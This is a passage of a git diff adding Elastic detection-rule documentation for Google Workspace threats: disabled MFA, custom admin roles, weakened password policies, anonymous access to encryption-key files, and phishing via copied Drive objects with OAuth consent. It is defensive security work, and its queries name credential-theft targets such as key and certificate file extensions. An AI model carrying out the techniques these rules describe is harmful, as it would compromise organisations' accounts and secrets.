Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed. +- Implement security best practices https://support.google.com/a/answer/7587183[outlined] by Google. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + + + +*Important Information Regarding Google Workspace Event Lag Times* + +- As per Google's documentation, Google Workspace administrators may observe lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit logs. +- This rule is configured to run every 10 minutes with a lookback time of 130 minutes. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- By default, `var.interval` is set to 2 hours (2h). Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-google_workspace.html + +==== Setup + + +The Google Workspace Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:"google_workspace.admin" and event.action:"CHANGE_APPLICATION_SETTING" and event.category:(iam or configuration) + and google_workspace.admin.new_value:"Disabled" and google_workspace.admin.setting.name:BitLocker* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-google-workspace-custom-admin-role-created.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-google-workspace-custom-admin-role-created.asciidoc new file mode 100644 index 0000000000..73ad5e0c7f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-google-workspace-custom-admin-role-created.asciidoc @@ -0,0 +1,156 @@ +[[prebuilt-rule-8-19-20-google-workspace-custom-admin-role-created]] +=== Google Workspace Custom Admin Role Created + +Detects when a custom admin role is created in Google Workspace. An adversary may create a custom admin role in order to elevate the permissions of other user accounts and persist in their target’s environment. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-google_workspace* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 10m + +*Searches indices from*: now-130m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.google.com/a/answer/2406043?hl=en +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-two + +*Tags*: + +* Domain: Cloud +* Data Source: Google Workspace +* Use Case: Identity and Access Audit +* Resources: Investigation Guide +* Tactic: Persistence + +*Version*: 209 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Google Workspace Custom Admin Role Created* + + +Google Workspace roles allow administrators to assign specific permissions to users or groups where the principle of least privilege (PoLP) is recommended. Admin roles in Google Workspace grant users access to the Google Admin console, where more domain-wide settings are accessible. Google Workspace contains prebuilt administrator roles for performing business functions related to users, groups, and services. Custom administrator roles can be created where prebuilt roles are not preferred. + +Roles assigned to users will grant them additional permissions and privileges within the Google Workspace domain. Threat actors might create new admin roles with privileges to advance their intrusion efforts and laterally move throughout the organization if existing roles or users do not have privileges aligned with their modus operandi. Users with unexpected privileges from new admin roles may also cause operational dysfunction if unfamiliar settings are adjusted without warning. Instead of modifying existing roles, administrators might create new roles to accomplish short-term goals and unintentionally introduce additional risk exposure. + +This rule identifies when a Google Workspace administrative role is added within the Google Workspace admin console. + + +*Possible investigation steps* + + +- Identify the associated user accounts by reviewing `user.name` or `user.email` fields in the alert. +- Identify the role added by reviewing the `google_workspace.admin.role.name` field in the alert. +- After identifying the involved user, verify if they should have administrative privileges to add administrative roles. +- To identify if users have been assigned this role, search for `event.action: ASSIGN_ROLE`. + - Add `google_workspace.admin.role.name` with the role added as an additional filter. + - Adjust the relative time accordingly to identify all users that were possibly assigned this admin role. +- Monitor users assigned the admin role for the next 24 hours and look for attempts to use related privileges. + - The `event.provider` field will help filter for specific services in Google Workspace such as Drive or Admin. + - The `event.action` field will help trace what actions are being taken by users. + + +*False positive analysis* + + +- After identifying the user account that created the role, verify whether the action was intentional. +- Verify that the user who created the role should have administrative privileges in Google Workspace to create custom roles. +- Review organizational units or groups the role may have been added to and ensure the new privileges align properly. +- Create a filter with the user's `user.name` and filter for `event.action`. In the results, check if there are multiple `CREATE_ROLE` actions and note whether they are new or historical. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed. +- Implement security best practices https://support.google.com/a/answer/7587183[outlined] by Google. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + + + +*Important Information Regarding Google Workspace Event Lag Times* + +- As per Google's documentation, Google Workspace administrators may observe lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit logs. +- This rule is configured to run every 10 minutes with a lookback time of 130 minutes. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- By default, `var.interval` is set to 2 hours (2h). Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-google_workspace.html + +==== Setup + + +The Google Workspace Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:google_workspace.admin and event.provider:admin and event.category:iam and event.action:CREATE_ROLE + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-google-workspace-drive-encryption-key-s-accessed-from-anonymous-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-google-workspace-drive-encryption-key-s-accessed-from-anonymous-user.asciidoc new file mode 100644 index 0000000000..79c8230e6d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-google-workspace-drive-encryption-key-s-accessed-from-anonymous-user.asciidoc @@ -0,0 +1,148 @@ +[[prebuilt-rule-8-19-20-google-workspace-drive-encryption-key-s-accessed-from-anonymous-user]] +=== Google Workspace Drive Encryption Key(s) Accessed from Anonymous User + +Detects when an external (anonymous) user has viewed, copied or downloaded an encryption key file from a Google Workspace drive. Adversaries may gain access to encryption keys stored in private drives from rogue access links that do not have an expiration. Access to encryption keys may allow adversaries to access sensitive data or authenticate on behalf of users. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-google_workspace* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 10m + +*Searches indices from*: now-130m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.google.com/drive/answer/2494822 +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-two + +*Tags*: + +* Domain: Cloud +* Data Source: Google Workspace +* Use Case: Configuration Audit +* Tactic: Credential Access +* Resources: Investigation Guide + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Google Workspace Drive Encryption Key(s) Accessed from Anonymous User* + + +Google Workspace Drive allows users to store and share files, including sensitive encryption keys. If shared improperly, these keys can be accessed by unauthorized users, potentially leading to data breaches. Adversaries exploit links with open access to obtain these keys. The detection rule identifies suspicious activities, such as anonymous access to key files, by monitoring file actions and link visibility settings. + + +*Possible investigation steps* + + +- Review the file activity logs to identify the specific file(s) accessed by the anonymous user, focusing on actions such as "copy", "view", or "download" and the file extensions listed in the query. +- Check the sharing settings of the accessed file(s) to confirm if they are set to "people_with_link" and assess whether this level of access is appropriate for the file's sensitivity. +- Investigate the source of the rogue access link by examining any recent changes to the file's sharing settings or any unusual activity in the file's access history. +- Identify and contact the file owner or relevant stakeholders to verify if the sharing of the file was intentional and authorized. +- Assess the potential impact of the accessed encryption key(s) by determining what systems or data they protect and evaluate the risk of unauthorized access. +- Consider revoking or changing the encryption keys if unauthorized access is confirmed to mitigate potential security risks. + + +*False positive analysis* + + +- Shared project files with encryption keys may trigger alerts if accessed by external collaborators. To manage this, ensure that only trusted collaborators have access and consider using Google Workspace's sharing settings to restrict access to specific users. +- Automated backup systems that access encryption keys for legitimate purposes might be flagged. Verify the source of access and, if legitimate, create an exception for the backup system's IP address or service account. +- Internal users accessing encryption keys via shared links for routine tasks could be misidentified as anonymous users. Encourage users to access files through authenticated sessions and adjust monitoring rules to recognize internal IP ranges or user accounts. +- Third-party integrations that require access to encryption keys might cause false positives. Review the integration's access patterns and whitelist known, secure integrations to prevent unnecessary alerts. +- Temporary access links for external audits or compliance checks can be mistaken for unauthorized access. Use time-bound access links and document these activities to differentiate them from potential threats. + + +*Response and remediation* + + +- Immediately revoke access to the specific Google Workspace Drive file by changing its sharing settings to restrict access to only authorized users. +- Conduct a thorough review of the file's access history to identify any unauthorized access and determine the scope of potential data exposure. +- Notify the security team and relevant stakeholders about the incident, providing details of the unauthorized access and any potential data compromise. +- Rotate and replace any encryption keys that were accessed or potentially compromised to prevent unauthorized use. +- Implement additional monitoring and alerting for similar file types and sharing settings to detect future unauthorized access attempts. +- Escalate the incident to senior management and, if necessary, involve legal or compliance teams to assess any regulatory implications. +- Review and update access policies and sharing settings within Google Workspace to ensure that sensitive files are not shared with open access links. + + + + +*Important Information Regarding Google Workspace Event Lag Times* + +- As per Google's documentation, Google Workspace administrators may observe lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit logs. +- This rule is configured to run every 10 minutes with a lookback time of 130 minutes. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- By default, `var.interval` is set to 2 hours (2h). Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-google_workspace.html + +==== Setup + + +The Google Workspace Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +file where event.dataset == "google_workspace.drive" and event.action : ("copy", "view", "download") and + google_workspace.drive.visibility: "people_with_link" and source.user.email == "" and + file.extension: ( + "token","assig", "pssc", "keystore", "pub", "pgp.asc", "ps1xml", "pem", "gpg.sig", "der", "key", + "p7r", "p12", "asc", "jks", "p7b", "signature", "gpg", "pgp.sig", "sst", "pgp", "gpgz", "pfx", "crt", + "p8", "sig", "pkcs7", "jceks", "pkcs8", "psc1", "p7c", "csr", "cer", "spc", "ps2xml") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Private Keys +** ID: T1552.004 +** Reference URL: https://attack.mitre.org/techniques/T1552/004/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Cloud Storage +** ID: T1530 +** Reference URL: https://attack.mitre.org/techniques/T1530/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-google-workspace-mfa-enforcement-disabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-google-workspace-mfa-enforcement-disabled.asciidoc new file mode 100644 index 0000000000..51475b68dd --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-google-workspace-mfa-enforcement-disabled.asciidoc @@ -0,0 +1,163 @@ +[[prebuilt-rule-8-19-20-google-workspace-mfa-enforcement-disabled]] +=== Google Workspace MFA Enforcement Disabled + +Detects when multi-factor authentication (MFA) enforcement is disabled for Google Workspace users. An adversary may disable MFA enforcement in order to weaken an organization’s security controls. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-google_workspace* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 10m + +*Searches indices from*: now-130m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.google.com/a/answer/9176657?hl=en# +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-two + +*Tags*: + +* Domain: Cloud +* Data Source: Google Workspace +* Use Case: Configuration Audit +* Tactic: Impact +* Resources: Investigation Guide + +*Version*: 211 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Google Workspace MFA Enforcement Disabled* + + +Multi-factor authentication is a process in which users are prompted during the sign-in process for an additional form of identification, such as a code on their cellphone or a fingerprint scan. + +If you only use a password to authenticate a user, it leaves an insecure vector for attack. If the password is weak or has been exposed elsewhere, an attacker could be using it to gain access. When you require a second form of authentication, security is increased because this additional factor isn't something that's easy for an attacker to obtain or duplicate. + +For more information about using MFA in Google Workspace, access the https://support.google.com/a/answer/175197[official documentation]. + +This rule identifies the disabling of MFA enforcement in Google Workspace. This modification weakens the security of the accounts and can lead to the compromise of accounts and other assets. + + +*Possible investigation steps* + + +- Identify the user account that performed the action and whether it should perform this kind of action. +- Investigate other alerts associated with the user account during the past 48 hours. +- Contact the account and resource owners and confirm whether they are aware of this activity. +- Check if this operation was approved and performed according to the organization's change management policy. +- If you suspect the account has been compromised, scope potentially compromised assets by tracking servers, services, and data accessed by the account in the last 24 hours. + + +*False positive analysis* + + +- While this activity can be done by administrators, all users must use MFA. The security team should address any potential benign true positive (B-TP), as this configuration can risk the user and domain. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Reactivate the multi-factor authentication enforcement. +- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed. +- Implement security best practices https://support.google.com/a/answer/7587183[outlined] by Google. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + + + +*Important Information Regarding Google Workspace Event Lag Times* + + +- As per Google's documentation, Google Workspace administrators may observe lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit logs. +- This rule is configured to run every 10 minutes with a lookback time of 130 minutes. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- By default, `var.interval` is set to 2 hours (2h). Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-google_workspace.html + +==== Setup + + +The Google Workspace Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:google_workspace.admin and event.provider:admin + and event.category:iam and event.action:ENFORCE_STRONG_AUTHENTICATION + and google_workspace.admin.new_value:false + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Account Access Removal +** ID: T1531 +** Reference URL: https://attack.mitre.org/techniques/T1531/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Multi-Factor Authentication +** ID: T1556.006 +** Reference URL: https://attack.mitre.org/techniques/T1556/006/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Multi-Factor Authentication +** ID: T1556.006 +** Reference URL: https://attack.mitre.org/techniques/T1556/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-google-workspace-object-copied-to-external-drive-with-app-consent.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-google-workspace-object-copied-to-external-drive-with-app-consent.asciidoc new file mode 100644 index 0000000000..ba36d0cfd8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-google-workspace-object-copied-to-external-drive-with-app-consent.asciidoc @@ -0,0 +1,175 @@ +[[prebuilt-rule-8-19-20-google-workspace-object-copied-to-external-drive-with-app-consent]] +=== Google Workspace Object Copied to External Drive with App Consent + +Detects when a user copies a Google spreadsheet, form, document or script from an external drive. Sequence logic has been added to also detect when a user grants a custom Google application permission via OAuth shortly after. An adversary may send a phishing email to the victim with a Drive object link where "copy" is included in the URI, thus copying the object to the victim's drive. If a container-bound script exists within the object, execution will require permission access via OAuth in which the user has to accept. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-google_workspace* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-two +* https://developers.google.com/apps-script/guides/bound +* https://support.google.com/a/users/answer/13004165#share_make_a_copy_links + +*Tags*: + +* Domain: Cloud +* Data Source: Google Workspace +* Tactic: Initial Access +* Resources: Investigation Guide + +*Version*: 12 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Google Workspace Object Copied to External Drive with App Consent* + + +Google Workspace users can share access to Drive objects such as documents, sheets, and forms via email delivery or a shared link. Shared link URIs have parameters like `view` or `edit` to indicate the recipient's permissions. The `copy` parameter allows the recipient to copy the object to their own Drive, which grants the object with the same privileges as the recipient. Specific objects in Google Drive allow container-bound scripts that run on Google's Apps Script platform. Container-bound scripts can contain malicious code that executes with the recipient's privileges if in their Drive. + +This rule aims to detect when a user copies an external Drive object to their Drive storage and then grants permissions to a custom application via OAuth prompt. + + +*Possible investigation steps* + +- Identify user account(s) associated by reviewing `user.name` or `source.user.email` in the alert. +- Identify the name of the file copied by reviewing `file.name` as well as the `file.id` for triaging. +- Identify the file type by reviewing `google_workspace.drive.file.type`. +- With the information gathered so far, query across data for the file metadata to determine if this activity is isolated or widespread. +- Within the OAuth token event, identify the application name by reviewing `google_workspace.token.app_name`. + - Review the application ID as well from `google_workspace.token.client.id`. + - This metadata can be used to report the malicious application to Google for permanent blacklisting. +- Identify the permissions granted to the application by the user by reviewing `google_workspace.token.scope.data.scope_name`. + - This information will help pivot and triage into what services may have been affected. +- If a container-bound script was attached to the copied object, it will also exist in the user's drive. + - This object should be removed from all users affected and investigated for a better understanding of the malicious code. + + +*False positive analysis* + +- Communicate with the affected user to identify if these actions were intentional +- If a container-bound script exists, review code to identify if it is benign or malicious + + +*Response and remediation* + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. + - Resetting passwords will revoke OAuth tokens which could have been stolen. +- Reactivate multi-factor authentication for the user. +- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed. +- Implement security defaults https://cloud.google.com/security-command-center/docs/how-to-investigate-threats[provided by Google]. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + + +*Important Information Regarding Google Workspace Event Lag Times* + +- As per Google's documentation, Google Workspace administrators may observe lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit logs. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- By default, `var.interval` is set to 2 hours (2h). Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-google_workspace.html + +==== Setup + + +The Google Workspace Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +sequence by source.user.email with maxspan=3m +[file where event.dataset == "google_workspace.drive" and event.action == "copy" and + + /* Should only match if the object lives in a Drive that is external to the user's GWS organization */ + google_workspace.drive.owner_is_team_drive == "false" and google_workspace.drive.copy_type == "external" and + + /* Google Script, Forms, Sheets and Document can have container-bound scripts */ + google_workspace.drive.file.type: ("script", "form", "spreadsheet", "document")] + +[any where event.dataset == "google_workspace.token" and event.action == "authorize" and + + /* Ensures application ID references custom app in Google Workspace and not GCP */ + google_workspace.token.client.id : "*apps.googleusercontent.com"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Link +** ID: T1566.002 +** Reference URL: https://attack.mitre.org/techniques/T1566/002/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious Link +** ID: T1204.001 +** Reference URL: https://attack.mitre.org/techniques/T1204/001/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-google-workspace-password-policy-modified.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-google-workspace-password-policy-modified.asciidoc new file mode 100644 index 0000000000..c5b31bb486 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-google-workspace-password-policy-modified.asciidoc @@ -0,0 +1,155 @@ +[[prebuilt-rule-8-19-20-google-workspace-password-policy-modified]] +=== Google Workspace Password Policy Modified + +Detects when a Google Workspace password policy is modified. An adversary may attempt to modify a password policy in order to weaken an organization’s security controls. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-google_workspace* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 10m + +*Searches indices from*: now-130m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.google.com/a/answer/7061566 +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-two + +*Tags*: + +* Domain: Cloud +* Data Source: Google Workspace +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 209 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Google Workspace Password Policy Modified* + + +Google Workspace administrators manage password policies to enforce password requirements for an organization's compliance needs. Administrators have the capability to set restrictions on password length, reset frequency, reuse capability, expiration, and much more. Google Workspace also allows multi-factor authentication (MFA) and 2-step verification (2SV) for authentication. + +Threat actors might rely on weak password policies or restrictions to attempt credential access by using password stuffing or spraying techniques for cloud-based user accounts. Administrators might introduce increased risk to credential access from a third-party by weakening the password restrictions for an organization. + +This rule detects when a Google Workspace password policy is modified to decrease password complexity or to adjust the reuse and reset frequency. + + +*Possible investigation steps* + + +- Identify associated user account(s) by reviewing the `user.name` or `source.user.email` fields in the alert. +- Identify the password setting that was created or adjusted by reviewing `google_workspace.admin.setting.name` field. +- Check if a password setting was enabled or disabled by reviewing the `google_workspace.admin.new_value` and `google_workspace.admin.old_value` fields. +- After identifying the involved user, verify administrative privileges are scoped properly to change. +- Filter `event.dataset` for `google_workspace.login` and aggregate by `user.name`, `event.action`. + - The `google_workspace.login.challenge_method` field can be used to identify the challenge method used for failed and successful logins. + + +*False positive analysis* + + +- After identifying the user account that updated the password policy, verify whether the action was intentional. +- Verify whether the user should have administrative privileges in Google Workspace to modify password policies. +- Review organizational units or groups the role may have been added to and ensure the new privileges align properly. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Consider resetting passwords for potentially affected users. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Reactivate multi-factor authentication for the user. +- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed. +- Implement security best practices https://support.google.com/a/answer/7587183[outlined] by Google. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + + + +*Important Information Regarding Google Workspace Event Lag Times* + +- As per Google's documentation, Google Workspace administrators might observe lag times ranging from several minutes to 3 days between the event occurrence time and the event being visible in the Google Workspace admin/audit logs. +- This rule is configured to run every 10 minutes with a lookback time of 130 minutes. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- By default, `var.interval` is set to 2 hours (2h). Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-google_workspace.html + 